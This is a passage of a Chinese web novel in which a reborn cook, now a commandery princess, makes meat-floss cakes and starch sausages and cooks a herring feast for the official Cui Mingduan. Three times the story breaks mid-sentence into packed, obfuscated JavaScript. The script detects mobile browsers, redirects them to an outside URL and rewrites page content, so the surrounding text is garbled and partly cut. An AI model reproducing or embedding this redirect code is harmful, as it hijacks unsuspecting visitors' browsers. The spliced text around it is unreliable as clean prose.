她抬眼打量了萧家的灶房，不禁深深一叹。她出身平阳柴氏，嫁到荀家，虽不是王侯，但比梅花坞好上许多——这该死的荀二郎，是不是僭越了，把亭台楼阁都僭越了一遍？ 回头就让舅舅们参他一本！二本！ “灶房乱，夫人要不还是回堂屋等着？”萧鸣笙瞧她柳眉弯弯，实在不适合待这儿。 “郡主待得，妾身怎么就待不得了？” 柴氏是爽利性子，捂着自个儿手炉暖，便塞到萧鸣笙手里，“二郎近日也不知怎么了？去上值勤快着呢，知道的，是他升去了户部，不知还以为去了什么好地方？连范家卖的烤肠都不去吃了。” 萧鸣笙客气了一番——实在是没客气过，柴氏的手，当真是暖乎乎的，比手炉都暖。 见过柴氏相貌，她才知曹公用词准确：什么叫腮凝新荔。 行走间裙裾摇曳，步摇微晃，光彩夺目。 性子也叫人喜欢。 她特意备了厚礼来，一是为了答谢冬至卤鹅，二来也想求一求那烤肠。 家里的孩子，正是六七岁爱攀比时。世交那几个玩伴都吃了，将那味道说得天上有，地上没。连着三日，周遭的玩伴们都吃了，独独荀家的小郎没吃上。 没吃上倒也罢，偏遇上了一个嘴碎的，说荀二郎那么会吃一个人，怎么可能没买烤肠，定是给了旁人——这个旁人，还能是谁？ 有些长舌人议论荀二郎在外头留了孩子，偏教人搬弄到了小郎君耳中。 这下，兄妹二人垂头丧气回来，仆妇们也不敢说实话。 柴氏也以为只是烤肠的缘故，将荀二郎身边的人提来一问，便知这些都是荣安郡主的赏赐。 “这有何难？去备份礼，我去求见郡主。” 心腹面有难色，只能如实道：“小人说一句该死的话，便是郎君……也不敢往梅花坞去……沾的也是崔大人的光。” 谁知，夫人听了，反而更志在必得了，“他荀二郎能沾崔六郎的光，我便沾不得？去备厚礼，我来写帖子。” 于是乎，柴氏便带着几个心腹过来了，阵仗不算大，礼却是一等一丰厚的。夫妻齐心，荀二郎送过的东西，她也挑了一遍，女儿家能用上的，还要更细致丰厚些。 来了之后，她庆幸是亲自来了，郡主还有新的点心。 可惜就是家里的肉松用完了，正在赶制。 哼哼，这回，她要让兄妹俩成为京城里横着走的崽！ 68.肉松小贝 说来，萧鸣笙想做厨子，也是源于小时候对美食的向往。 家里是小康水平，倒不曾缺了什么。只是，她最大的缺点是面子薄。 父母做生意，没太多时间陪着，零花钱是管够的。但班里同学的家境参差不齐，一周五块十块的都有，有一回她拿着一整张票子，同去买东西的人都暗暗侧目。 本来也没什么，但被几个小黄毛堵在巷口要钱后，她告完老师后，就做起了勤俭节约的好孩子。 当年好多没一口气吃爽快的东西，总时不时会念着。但再吃，却不是回忆里的味道。 啊，面子真误人。 这不，柴氏隐晦说起，她当即便应下。 做，不就是烤肠么？肉松面包卷也安排上。 否则，今日侯府小公子吃了——那一整条切出来，份量不多不少，万一再款待了世交的小郎君们……荀小郎还得再哭也一回吧？ 炒制肉松的活计，已经交由阿草去做。 萧鸣笙自己来做蛋糕坯，不过是头一回试验，也不知能不能成。 “小郎君年纪小，我打算另外制些小块的面包，味道差不太多——不要繁琐的发酵法子……若是烤坏了，便只能委屈小郎君跟着吃肉松面包卷了。” 柴氏不大懂，替自家孩子谢过，“郡主客气，也是我厚颜。这俩孩子，模样随他爹，也馋嘴。过些日子，妾身带他们给郡主磕个头。” 柴氏仿佛不知圣意，又道：“妾身从前在家时，祖母也病过一阵，大夫也是说要静静养着，不让打扰。我偷偷去过几回，病中容易忧思，再没人在跟前说说笑笑，劝解宽慰几句，没病也要病了。” “梅花坞远，我听崔大人说，像是要落雪了。我私心也想看看随了夫人和荀大人的孩子该是多么惹人怜爱，即便是要来玩一玩，也得开春了，到时我再琢磨几个点心来招待贵客。” “那郡主要是不嫌弃妾身呱噪，妾身三两日便来一回，梅花坞景色好，很像我娘家的风光。” 柴氏这一叹，萧鸣笙才知这又是一位了不得的世家女。平阳柴氏，似乎是在江南一带。 京城里，能有这么一片清幽之地养病，萧鸣笙也说不出是幸，还是不幸了。 她将同等份量的牛奶和玉米油搅拌均匀，加入面粉，搅成面糊。 分离出蛋黄，加入面糊中。 剩下的蛋清，分三次加入细腻的糖粉，用筷子打发到起泡。 光是这一步，柴氏就直呼了不得，“城里一直在说范公子他们卖的烤肠和面包价高，有哗众取宠之嫌。要不是这方不便露于人前，便该让他们看看，这般繁琐，怎么也要比包子馒头贵的。” “那个面包卷，更费事。”一板一眼炒制肉松的阿草，如实道。 闻言，柴氏更是笑出声，不觉被冒犯，直道：“那妾身倒不知怎么选了。那面包卷好吃，这蛋糕也好，真真是叫人烦恼。” 萧鸣笙将起泡好的蛋清分两次加入面糊中搅拌均匀。再取出一个大铁盘，铺上油纸，将面糊倒进去，用竹片刀刮平，直至送到面包炉里，柴氏都一步一步跟着看。 也不知怎么了，忽然就落了泪。 “这是怎么了？”萧鸣笙不作它想，以为是灶房油烟大，想起她出去外头透透气，谁知柴氏只是擦拭眼角，一个劲摇头，眼眶红红的，莫名像只迷途的兔子。 …… 最后，蛋糕坯出炉，柴氏也不在，萧鸣笙将热但多日不见踪迹的荀二郎快马来了。 见了拿着崔兄弓箭比划的妻子，吃了一肚冷风的人更是气笑了。 “不想我荀二郎碌碌无为，竟娶了一位巾帼英雄回来呢。” 然而，柴氏头一回没同他呛声，反而是背过身去，默默走开了。 这下，可让荀二郎摸不着头脑了，他下马过去，将人拉了回来，“这是怎么了？” 原本要数落她私自跑来梅花坞的话，也变成了关切之语，“你来拜见郡主也好，怎么一人在这练箭呢？夫人若是喜欢，回头家里也摆一个。” 不提则罢，一提家里，柴氏就止不住哭了哭，“你老实说，荀家是不是逾制了？” “什么？” “……” 可柴氏眼眶红红，什么也不肯说。 二人成婚已有七八年，膝下儿女皆有，情意……似乎是比从前淡了淡。 然而，今日再见妻子糗态，荀二郎无端忆起未成婚前。 某位不知天高地厚的小娘子从柴家大院逃婚，路上偏偏找了他问路。 亏得是遇着了他。 如此，荀二郎又压了压嘴角，柴氏也知他心里憋着坏，打了他一拳：“郡主还在呢……” “就是说啊……天寒地冻的，夫人不在家烤橘子吃，来郡主这儿作甚？” 他随手抬了袖子就要给她擦泪，仔细一看，细细描了眉，可不能毁了。“莫哭了，回头人问起，倒像是被人欺负了，流言最能杀人。总不能明日要落雪，就要杀个人助助兴吧？” “你就贫嘴！” 柴氏瓮声瓮气要打他，但是心里的想法，也不适合在此时就说给他听。 荀二郎多多少少也能猜到一点，哄好了人，便去请罪。 萧鸣笙将海苔剪碎，用了糖、香油和熟芝麻翻炒，与肉松一拌，再撒在蛋糕坯上，这肉松小贝便成了。 往日是由阿草试吃的，今日有客人在，这试吃的重任便交给了荀二郎。 “这黑色的，是沿海贡来的紫菜么？底下的面包，格外松软。虽说掺了鸡蛋，但这么一烤，即便是不爱吃蛋的人，也挑不了口。” 他的舌头，果真是相当灵验，“郡主这方子妙极了，这面点搭配着烤肠去卖，能让范家的铺子赚得盆满钵满。” 萧鸣笙再将另外一份也铲了出来，“夫人也吃。” 柴氏哭了好一阵，偷偷瞄了荀二郎一眼，想学着他啊呜一口吞了。可上头撒满了肉松，险些将嗓子眼呛住。 “咳……咳……” 这样笨拙的模样，荀二郎哭笑不得，给她拍了背，又端茶倒水，做小伏低，柴氏才红着脸跟萧鸣笙致歉。 吃了好大一碗狗粮，萧鸣笙将做好的肉松小贝铲出大半让柴氏带走。 “郡主实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13063943|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在客气了，这也太多了……” “多谢郡主厚爱了。” 柴氏还在婉拒，谁知荀二郎已经厚颜收下了。柴氏扭头就要说他，荀二郎倒是不慌，捉了她手，神色如常道：“这样多的份量，必得给崔兄也送一份。若是宫门还没下钥，臣再送一份到宫里。” 萧鸣笙后知后觉。对耶，自己是郡主，总不能偷摸摸吃独食吧？嘶……市集的烤肠和面包已经卖了几日了，皇帝大约也知道了吧？ 这般不加掩饰的担心，反倒是把柴氏吓着了，“要不……别送了？可这送也不是，不送也不是……” “不送也成，听说崔兄今日早早来了……嗐，瞧我这脑子，崔兄处事最为周全，哪轮到我去？”荀二郎只笑自家夫人好哄骗，“时辰也不早了，便不扰郡主歇息了。改日臣领犬子过来给郡主磕个头。“ “好……” 走前，还要再喂一碗狗粮。 夫妇二人的说辞，均是一样的。 宝马香车放了车帘，隐隐传来柴氏的娇嗔，“你不是骑马来的么？坐我的车作甚？” “夫人的车，为夫怎么就坐不得了？” “哼……” “哼也坐得。” …… 车子慢慢远去，萧鸣笙目送了好半晌，卢妈妈也感慨伉俪情深。 萧鸣笙才跟着颔首，卢妈妈话锋一转，“崔大人和荀大人是好友，郡主来日也会和荀夫人一样……” 后面的话，不消说，卢妈妈已经一脸慈祥走了，徒留萧鸣笙无奈笑笑。这是哪跟哪啊？荀家夫妇或是情投意合，或是先婚后爱，哪一样都不像是她和崔大人能走的路。 说起崔大人，萧鸣笙也不由翘了唇角：鹿角，鹿角，崔大人的鹿角呢？ 真想早日见到崔家六郎啊，啊呸，是鹿角啊！ * 荀二郎是提前半个时辰从衙门走的，回去正好是遇到同僚们下值。 这消息，也不知是不是长了翅膀，看着他马车在陵安府停下，个个是伸长了脖子。 “崔兄，拙荆爱子心切，搅了郡主清静，特来请罪。” 说罢，他将一个描着荀家纹饰的食盒递过去，“肉松面包，这是崔兄的。” 崔明端从宫里出来后，心绪一直不高。再听他的面包又有了，勉力一笑，“嫂夫人与郡主年龄相仿，两家走动也属常事，郡主不怪罪，荀兄这罪……从何而来呢？” 食盒，也没即刻去接。 二人侧了个身位说话。 “今日我已经尝了其中滋味。这面包，便带回去去小郎君吃吧。” 崔明端带走的，只是肉松面包卷，与这个肉松小贝，像，也不像。虽然都是撒的肉松。 路上，柴氏已经细细说过，偏荀二郎憋着坏，“这可是崔兄自己说的？那愚兄便替犬子谢过——” 还没谢完，东西已经被接了。 “既是郡主赏赐，臣却之不恭。” “唉……” 换了往日，荀二郎还能同崔明端讨个跑腿银子。他着急回家去，衙署门口人多眼杂，也不是说话的地。 69.淀粉肠 萧家余下的肉松小贝，也在品尝之中。 萧鸣笙私心觉着阿草和卢妈妈应该是喜爱蛋糕绵密软和的口感，所以都想尝试一遍。 她给切成小块的蛋糕坯刷上酸奶，让阿草自己撒海苔和肉松。 阿草的手才摸着调羹，卢妈妈轻轻咳了一声：傻孩子，可别一口气用多了。 “卢妈妈，你别和大哥一样站风口处。” 卢妈妈老脸羞红，萧鸣笙则是将一个做好的递了过去，上头满满都是肉松。“这……” 她想着要给阿草，可阿草像是玩一样，拈了一搓又搓，那个似乎更多。 “嬷嬷吃罢，阿草能干，一下午把那十来斤的猪肉都炒了出来，家里还怕没有肉松么？” 萧鸣笙亦是做了一个递给了袁志，“你也尝尝，可别说儿郎不吃这些。你看荀二郎，吃得可香了。” “属下……”袁志顿了顿，终是接过，“谢主子。” 在京城，哪几家的护卫能跟主子一道用饭。袁志一手护着，生怕上头蓬松的肉丝掉了，想一口吃进去，又怕糟践了好东西。 最后是分成了两口，第一口被肉香气惊住。猪肉切块煮出来的味道一般，他素日用饭都得另外配一配辣酱。但肉丝香气扑鼻，底下的面包比早上那个面包卷更松软，蛋香气更浓。 “好吃。”袁志内里澎湃，嘴上只干巴巴道出两个字。 萧鸣笙无端想起了崔家六郎，荀二郎说过，崔大人评价东西，向来只有“好吃”一词，也不知这肉松小贝吃不吃得惯？还有侯府的小团子呢？吃着了肉松面包卷了吧，别是被绪宁拿去市集卖了。 …… 绪宁被崔明端提点后，将竞价的场地改在一个大铺子的内场。 那儿原本是说书先生的台子，他们三个人也不亲自上阵，由着个伶俐的管事去做，免得让御史们抓到了把柄。 他们的肉肠和面包供应，有一阵没一阵的，但在京城里，无人不知无人不晓。 没三日，便出现了仿版。 那烤肠，要仿也容易——毕竟铺子接连高价买下范家的香肠，再召集厨子们一一品尝，写下各自的方子，汇总后，得出几个最接近的总方。 不怕失败，他们有的是厨子和肉，不断调整配比，总算是仿了七八分像。 定价，也要比范家的便宜。有贴脸追的二十文、十八文、十五文、十文，甚至是和辣口的肠一样六文。 等游手好闲三人组知道，已经卖出了几百根，这下，睡眼惺忪的人不由瞪大了眼。 他们三人商议后，又往梅花坞来了。 萧鸣笙请他们三人再入内，趁着大雪还没封路，将香肠的方子写了出来，“食物竞价，饥饿营销，终究是图个新鲜。只要别的铺子推出相同的东西……” 他们三个人也吃过，嘟囔了一句：“不过还是没郡主这个好吃。” 然而，不得不承认，卖得最贵的那家，已经非常接近了。就是十五文那家，口感只有一些差别。普通客人不会为了口感多花五文钱。 萧鸣笙也不急，神秘一笑，伸出手指头问道：“我们香肠的定价，是稍稍高了，虽说用料扎实，但不是每个路过的人都能买。那么，如何能将香肠的利益最大化呢？” 换了书院里扎扎实实读书的人，还真不一定，但游手好闲三人组即答：“那不简单？不要往里面加肉。” 萧鸣笙：“……” ——我不应该在这里，我应该去陵安府里举报这三个奸商。 三人说完，眼瞅着郡主面色不对，赶忙找补：“不是，郡主，呵呵我们是同郡主说笑的……” “咳……”萧鸣笙再度摆上笑，“其实公子说的对，只要肉的份量用少了，便能赚更多钱——” 三人面面相觑，最后由着绪宁小声提醒道：“那崔大人……会知道的吧？我们算不算知法犯法？” 家里自带副市长监督，萧鸣笙很——欣慰！ “方才只说了减少肉量，没说重新拟个价格。这肉减少了，必然要往里头搁红薯粉。红薯丰产，价格低，只要将味道调和调和，让它既好吃又便宜，这生意可不就来了？要是想薄利多销，京城的小贩们都能来买……我们控制着淀粉肠的制造，成本拿捏着了，还怕别人仿么？” 在场几人若有所思点点头。 萧鸣笙又给此次会议做了总结，“别人以为商战是饥饿营销，其实不是。我们的秘密武器是尽可能少加肉的淀粉肠！” 没人能敌过淀粉肠的诱惑！ “商战？淀粉？” 和饥饿营销一样是新鲜词，范文卓最先领会过来，“管事说，京郊的肉被预定到来年春，各家庄子都要改建多养些猪呢。让他们养着去，我们就不改了，来年他们卖不动，价格自然就下来了，我们反手再跟他们买一些。” “嘿嘿……嘿嘿……范兄妙计。” 剩下两人即刻是笑着恭维道。萧家一时嘿声一片。 萧鸣笙也跟着笑了笑，将做好的淀粉肠拿出来待客。 制作淀粉肠，前面打肉酱的步骤是一样的。猪肉去皮，切小块，再切些肥肉增加香味，剁成肉泥。放入盐、白糖、五香粉、白胡椒粉、料酒、酱油。红曲磨成粉，添进去上色，搅拌均匀后倒入数倍红薯粉，多次加入水，搅拌捶打至拉丝起胶，静置腌制一到两个时辰。 绪宁年纪最小，来的次数多，甚至也说了句玩笑，“郡主这般相信我们，要是我们将方子占为己有……” “那也无妨，我这儿……”萧鸣笙笑着直指自己的脑袋，“里头有好几本菜谱。” 淀粉肠，虽然直接吃，味道也不错，但是改花刀，煎到开花，再刷上秘酱，趁热咬一口，才是灵魂所在。 花刀看似简单，也有诀窍在。要从上到下，斜刀深切，低温慢炸，才能开花。 绪宁举着那串沾满了料汁，喷香好看的烤肠，自然而然想到了绪安，“要是让我家小弟看到这个，保不齐更喜欢。早知如此，就不留肉肠给他吃了，再吃便胖了。” 说到小团子，萧鸣笙自然也记得给他的童年回忆，“淀粉肠制作，要比脆皮肉肠简便许多。粉与肉的配比，能拉开到九比一，定价诸事，我不懂，但要要抢夺、稳固市场，将这生意做长远了，公子们还是要召集大掌柜们议一议。” 她也将淀粉肠的灵魂秘酱写了出来，“少许芝麻、辣椒、蒜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13081270|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蓉、番茄酱、孜然粉、辣椒面，起锅烧油，将热油浇在上头，再用少许糖搅拌均匀，刷上便可。” 事无巨细，凡是能想到的，萧鸣笙都倾囊相授，三人深深折服，起身朝她作揖，“我等必不负郡主所托。” “还有三爷。” “嘿嘿……嘿嘿……” 萧鸣笙汗颜，得亏是道长不在，不然必得怒目圆睁纠正：叫道长。 她低头咬了一口淀粉肠，这一根刷的酱汁没那么多，阿草一板一眼道：“郡主会咳嗽，卢妈妈盯着我呢。” “嗯，这样也好吃。”她趁热咬了一口，表面酥脆，里头还是软的。再有酱汁加持，香又辣…… 但凡含肉量高了，都做不出这个味，实在是很适合道长食用。 这淀粉肠的魅力，已经在这三位公子里显现出来了，“若说这肠只要五文钱，大抵会买四五个吃过瘾……” 萧鸣笙欣慰笑笑：这，便是淀粉肠的威力。三四文，路过的小儿都要攒攒来买一根。 * 小寒节气，老祖宗说是一候雁北乡。阳气变动，大雁开始往北方的故乡迁徙。 陵安城，还在一片银装素裹中。 梅花坞更是大雪封了山。 萧鸣笙还在拿着弓箭在家里头练习，就在堂屋里，对着远山的红梅比划，纷纷扬扬的雪花，有些扰人。 “郡主近日准头好了很多——” “咳咳……” 阿草的话没完，卢妈妈和袁志就不约而同咳嗽。虽说主子的箭术较从前，确实退步了许多，好不容易出了孝期，人也爱笑了，怎么能揭短？ “是好了些……” 萧鸣笙再眨着眼睛瞄准，手险些一松，“袁志，你听，外头是不是有什么动静？” 袁志侧耳听了听，亦是疑惑，“可能是雪大了，又掉了下来。属下出去看看……” 院子的雪深，萧家不常出入，只扫了廊下一条小径。 袁志深一脚浅一脚出去，一把油纸伞已经露了一角。 上头的墨兰，在这天地共生的白景里，越发孤高。 崔明端脱了厚厚的大氅，里头的衣衫不甚厚实，手亦是红红红的。 萧鸣笙原本就被卢妈妈捂成了一个胖乎乎的长条团子，再一看崔大人不戴毡帽，迎风而立的模样，不由起了鸡皮疙瘩，“大人屋里坐。” 屋里，不止是燃着炭盆，还放了好些东西。背部划开的栗子，洗干净的芋头，还有几根没什么肉的淀粉肠。 阿草是真喜爱吃，卢妈妈也知里头没多少肉，也不加掩饰多吃了一根。 这会儿，一同烤着火，萧鸣笙偷偷去撇一撇凝神静思的某人：这是在想什么呢？不然是因着大雪起了风雅之心，想吟诗作对吧？ “郡主思虑何事？” “……” 什么叫先声夺人？ 萧鸣笙暗暗吸气，示意他吃一杯牛乳茶暖暖身，“我在想，这样大的雪，衙署还上值么？” 她是南方人，会放的假，只有台风假。不晓得北方人有没有雪假。 更关键的是，上值抑或是不上值的崔大人，似乎都不应该出现在这里。 70.青鱼秃肺 “今日，衙署不上值。” 然而，不上值的人，身上还是那身绯衣官袍。 萧鸣笙也无法从工作服判断，但见素来气质高华的君子，眼下有一圈淡淡的青色。 这——案牍劳形，美人迟暮？加班文化，真是可恶! 从前读书时，书里头有一句：肃肃如松下风，高而徐引[1]。 用在崔家六郎上，便很适宜。 她觉着自己给美人拂拂尘，和逗一逗小团子，是一样的。 “大人，能吃鱼肝么？” 崔明端抬眸，里头聚着炭火的光热，这会儿才恍然道：“臣今日来，顺道送了些青鱼。” “……” 萧鸣笙暗自吸气：就刚刚，阿藤在廊下和卢妈妈回禀过了。崔大人今日不上值，但是宫里供了些青鱼，顺道送过来。 这真是“顺道”啊！ “即便大人是顺道送的，可冰天雪地，也实在是辛苦。若大人能吃鱼肝，我做一道青鱼秃肺，给大人——接风。” ——补补眼睛。 宫里贡来的青鱼，走的水路，停靠的码头，就是梅花坞。 这历年来都是这样的。 因着小寒大雪，衙署里休了两日的雪假，如萧鸣笙想的一般。只是，陵安府少尹，是父母官，休沐了也不能安心在家猫冬。 崔明端查看了历年贡品的单子，才知这几日是青鱼上供时。冬日水冷，青鱼不爱动弹，最是肥美。 她在练箭，很适合吃一吃鱼眼睛。 种花家向来讲究以形补形，萧鸣笙也不知崔大人是误打误撞了。 但是大雪日送来的青鱼，是该好好料理一番。 分给她的青鱼，足有一小竹筐。 卢妈妈和阿草都是第一次看见，无比稀罕。萧鸣笙有些纳闷：往年自己不得天子重视，鲜活名贵的青鱼不分给自己是情理中，但今年境况是稍有变化吧？即便不分一筐，一两条总是有的吧？难不成崔大人是督促送鱼的？ 但转念一想，光风霁月的崔家六郎不像这样傻乎乎的。 萧鸣笙让客人坐着烤火，甚至是贴心送了几本经史子集，“外头雪大，大人留下吃午食吧？” 眼瞅着人起身，崔明端口微张，“客随主便，郡主不必费事。” “晓得晓得，大人自便就是。” …… 萧鸣笙应得顺畅，心里已经有了几个食方。 一同送来的，除了青鱼，还有几只螃蟹。 按理来说，她一个养病的郡主，理当是不适宜吃螃蟹的。但东西在，说明份例如此。 看来，这箭，还是得好好地练。 皇家的异姓郡主是难当了一点，但福利是真不错——这得是她得宠的情况。 这时代，有些东西，钱能买到。有些，便只能靠命了，这与生俱来的命。 她一个穿来的小厨子，又没有推翻帝制的能力与野心，不得不认一认了。 将青鱼宰杀后，小心剥取出附在鱼肠上的两叶鱼肝，剩下的鱼肠则是收拢在一个旧木盆里，预备深埋在照殿红下面。这可是上好的花肥。 撕去两条黑线，有两条不慎沾上了青蓝色的胆汁，萧鸣笙也切了。如果为了一时俭省，便会让整道菜都沾上苦味，实在是不值当。 鱼肝难得，足足宰了十五条青鱼，才凑够一盘。洗干净后，用葱姜黄酒浸泡半个小时去除腥味。 这时间便将用锅煎一煎鱼头，煎透，再转到砂锅去，加入切好的冬笋片和豆腐，中火熬制。 她取了中间的鱼段，让阿草帮着处理，去皮取刺，再细细剁成肉泥。 “郡主，这个也要做成香肠吗？好贵的，是好东西，还是留给郡主自己吃吧。” “不做香肠，做鱼丸。是好东西，留着我们自己吃。” 这下，阿草更是干劲十足，挑的一丝不苟，就怕有什么漏掉的鱼刺卡了郡主嗓子。 剩下的几块青鱼，萧鸣笙抹了一层盐，预备留着明日再吃。 因着要招待贵客，崔家六郎又矜贵，萧鸣笙没用上鱼尾这样难吐刺的部位，打算留着夕食自家红烧了吃。 最最要紧的鱼肝，腌制好后，下锅滑油，快速定型，锁住水分。用上拆分下来的，蟹黄蟹膏。保持鱼肝的形状不散，只能颠锅一次，两面煎到黄而不焦，放入萧家吊着的高汤，烧透入味。［2］ 蟹粉青鱼肝出锅时，崔明端在堂屋也坐不下去，本是要打发阿藤过去搭把手。 阿藤也为难，“奴才方才去看过了，嬷嬷和阿草都在，就是袁侍卫，也在烧火……” 他去了，就光占了灶房的空位了。 崔家主仆坐立难安，萧家的青鱼盛宴终是上了桌。 有蟹粉青鱼肝、红烧青鱼、鱼头豆腐汤，怕吃腻了鱼，还有一道芋头蒸排骨。 都不是什么费功夫的菜，摆上来，也尽是家常的样子。 萧鸣笙分了一部分在灶房给卢妈妈他们吃。 阿藤要伺候着布菜，她有心让人也跟着去—— “这儿不用伺候，去用饭罢，谢郡主赏。” 崔大人很会御下，这便将人打发走了。 萧鸣笙哑然失笑，也示意他坐，揶揄道：“那我这儿可没有丫头给大人布菜——” 话未完，崔明端倒朝她阔步走来，直教人惊得后退一步。 “郡主怕臣作甚？” “……” 萧鸣笙真真是冤枉的。她已然是换下了处理青鱼时的外衫，但冰天雪地又没有浴霸来洗个澡，身上多少是留着些味道的。 她面色有些为难，崔明端更是告罪道：“郡主千金之躯，为臣预备饭食，已经是臣莫大的福分，臣若有一丝不敬之心……” “大人可别学旁人赌咒发誓。” “……” 她性子活泼，徒让预备了满腔话语的人无处施展。 崔明端只能将揣在袖中的东西递了过去。 一只手炉，个头比她素日用的那只大了一些些。外头罩着的套子，在雪光下泛着淡淡的光泽。 “粗鄙小物，郡主拿着暖暖手。” 方才她换完衣物过来，确实没将手炉带着。 萧鸣笙犹豫了一瞬，看清上头的松柏，莫名笑了笑—— 如同松林间吹过的风，高远而舒缓。 这是那句古语的大白话，确实与崔大人很相宜。 她没再客气，抱着它入座。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13100467|128519||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >有了手炉在，崔明端便做起了布菜的活，为她盛了半碗的鱼汤，尚且要提醒一句，“小心烫。” 调羹也是轻轻放在一侧。 “嗯，大人也别忙活了，尝尝这一道蟹粉请鱼肝——” 也不知是哪里说错了，头顶的威压好像重了重。 “莫不是大人不能吃蟹。” 身强力壮的崔大人自是能的。只是不能吃的某人全无自觉。 “郡主在病中，大抵不能吃蟹。” “我晓得，这是给大人做的。”萧鸣笙脱口道，“快尝尝，这要是冷了，可要腥了。” 实则是唬人的。底下放了个类似温碗一样的东西，里头卧了炭，就为了主子们好好品尝佳肴。 这话，崔明端听来却如天籁——又如热油滚心。 她不能吃蟹，何苦特意另做一道菜肴给自己？ “郡主……是不是……” 崔明端的筷子伸向那一碟鱼肝，踟蹰良久。她莫不是听说了什么不实之言，觉着自己饮食挑剔，才如此费心？ “啊？若是大人吃不来鱼肝，也不必勉强……这鱼肉，或是鱼丸没有刺的，大人尝尝？要不吃块排骨？” 萧鸣笙给他铺了无数个台阶，生生是叫人气笑了。 唇角，却弯得同鱼尾一般。 “臣，年方二十五了。”崔明端淡笑说起，“郡主可不要将臣当成了绪安。” 这鱼肝整块不碎，色泽金黄，瞧着便十分有食欲。一入口，嫩如豆腐，油而不腻，肥香异常。 萧鸣笙一手握着调羹，也在仔细观察崔大人的反应。 他的眉结是不会说谎的。 这道青鱼秃肺，是后世才有的菜肴。他一个端方君子，也不像荀二郎这样的老饕，大抵是不曾吃过。 下意识拧起的眉结，碰到美食，便自然而然纾解了。 殊不知，她同样是心惊胆战——青鱼肝，确实是东西，但就像长辈一味将有营养的东西夹给孩子，可惜孩子是真不爱吃。 “这鱼肝，对眼睛好。”萧鸣笙莫名补了一句。补完真想咬咬舌头！哪壶不开提哪壶！ 崔明端红艳的唇，堪堪触着筷尖，舌尖还停留着蟹黄作配的香气。 他换了一双筷子，扶着袖口，夹了一块放到她碗里，“郡主也浅尝一口。” “……多谢。” 方才布完菜，某位公正严明的大人就不着痕迹将这盘带着螃蟹的菜肴挪远了，她怀里又有一个手炉，除非起身，否则便夹不到。 崔大人说浅尝，当真是浅的——难为他能从那一盘子里挑出一块最小的。 “等来年，身子好了，郡主想吃多少……” 这话，说着比她还像哄小儿。 即便来年身子真好了，他大抵也不许久病初愈的人吃过多寒凉之物。 萧鸣笙闷闷咬着筷子，感受着青鱼和螃蟹久违的香气，突然想到了自己刚刚穿来时，在院中赏菊花，她问的那句： “那……大人可也送了蟹来？” 现下，回首再看，自己当真是痴得很——得亏是阿草跟着，否则，这馅，便露了个底朝天。 “可算是吃着了……螃蟹。” 她轻声道。 71.玉茄鱼丸汤 青鱼五吃，崔明端占了四。 雪后，他走时还提了个食盒，里头是新鲜的鱼丸。 “方才在灶房煮熟的，用来煮汤，煮汤面，或是做菜都可。” 崔明端稍一犹豫，萧鸣笙也将心里头的话说了，“年节……总是收到贵府的礼。前几回没什么像样的东西能送，今日便借花献佛。” 青鱼，以清河崔家的名望，也有。 梅花坞虽在城外，但也是陵安府管辖之地，崔明端调任少尹，得以看到历年贡品分配的单子，才知从未送过梅花坞。 今年不比往年，即便他不去码头，也会有人送来。 他也说不明白，自己为何要去一趟。 席间，他送出的手炉，此刻也在袖中，重新加了炭，暖得不像冬日。 她递来时，隐隐有一股药香。 “这几日天寒，郡主便是要练箭，也缓些时日，开春再练也不迟。” 萧鸣笙只是淡笑反问：“大人幼时在学堂，冬日也不用写字么？” 那自然是要的。 只是，单用是或否来答，过于草率了。崔家是高门望族，冬日燃了好几个大大的炭盆，屋里温暖如春。 家学夫子，由族老担任，“这天不冷，你们的手也别抖，写坏了字，可是要罚的。” 眼下，崔明端并未说明，只是宠溺一笑，“臣要习字，是有严师的缘故。若是有人软了心肠，纵一纵……” “那大人勤学苦练，学富五车，却旁人四体不勤，不学无术么？” 她亦是笑着揶揄道。 白雪经风一荡，落在她雪白的毛领上。 崔明端手指动了又动，实在很想去拂一拂。 他今日来，也不单是为了青鱼一事，只是临告辞，都没将缘由说出来。 内阁，又压下了一桩案子。与她又有着千丝万缕的关系。 吉安那儿出了一点事。 眼瞅着就要过年了，这案子一查起来，吏部的大人，连带着户部，这一年的苦劳，也没了。 崔明端的鱼丸，匀了一部分出来，送到了荀二郎府上。 他在户部，不算要职，衙门歇两日，这两日就在家里陪孩子打雪仗。 崔明端到时，一个雪团便不慎落在怀中。 “呀，竟是崔兄……还不速速向你崔叔叔致歉。”荀二郎掸掸手里的雪渣。 随之而来的，是个玉雪可爱的小娃娃，与绪安的年纪相仿，看了好颜色的崔明端，也喜爱得很。 不管是小郎君在旁人那儿端得如何老成，在他这儿，总是伸长了手要他抱一抱。 “崔叔叔，你今日吃了鱼。” 